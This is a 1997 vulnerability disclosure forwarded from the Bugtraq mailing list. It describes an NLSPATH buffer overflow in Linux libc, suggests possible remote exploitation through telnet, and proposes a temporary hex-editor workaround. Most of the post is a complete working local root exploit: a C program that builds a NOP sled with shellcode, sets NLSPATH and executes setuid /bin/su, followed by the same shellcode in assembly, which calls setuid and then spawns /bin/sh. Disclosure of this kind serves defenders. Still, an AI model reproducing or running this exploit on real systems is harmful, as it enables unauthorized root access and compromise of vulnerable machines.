[Mod: Forwarded from bugtraq -- alex] Hi! I''m sorry if the information I''m going to tell about was already known, but I hope it wasn''t... I just occasionally found a vulnerability in Linux libc (actually, some of the versions seem not to be vulnerable; my Slackware 3.1 box was though). Unfortunately, I have no time for a real investigation right now, but here''s the exploit anyway. Note that the shellcode is a bit different from the usual one: -- it does setuid(geteuid()) by itself; -- easier to modify (no more fixed offsets in shellcode, and the shell name can be changed, too -- the length is not fixed); -- the NULL pointer itself is passed in %edx to the execve syscall, not the pointer to NULL (it seems like a mistake in the Aleph One''s article); this doesn''t seem to affect anything though. It might be possible to exploit this hole remotely, if using a patched telnet client which would allow exporting large environment variable values. The overflow would happen at /bin/login startup then (somewhat like the famous LD_PRELOAD exploit, but an overflow). I''m not sure of that though, there might be some restrictions on environment variables in telnetd. As for the fix, well, this is a hard one -- would require re-compiling libc, and statically linked binaries. To protect yourself against remote attacks, you could for example change the variable name to something different, with a hex editor (like /usr/bin/bpe), in /lib/libc.so.5, and ensure the exploit stopped working. Of course, this is only a temporary fix. --- nlspath.c --- /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * Copyright (c) 1997 by Solar Designer */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } --- nlspath.c --- And the shellcode separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $''/''-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte ''/'' .string "/bin/sh0" --- shellcode.s --- Signed, Solar Designer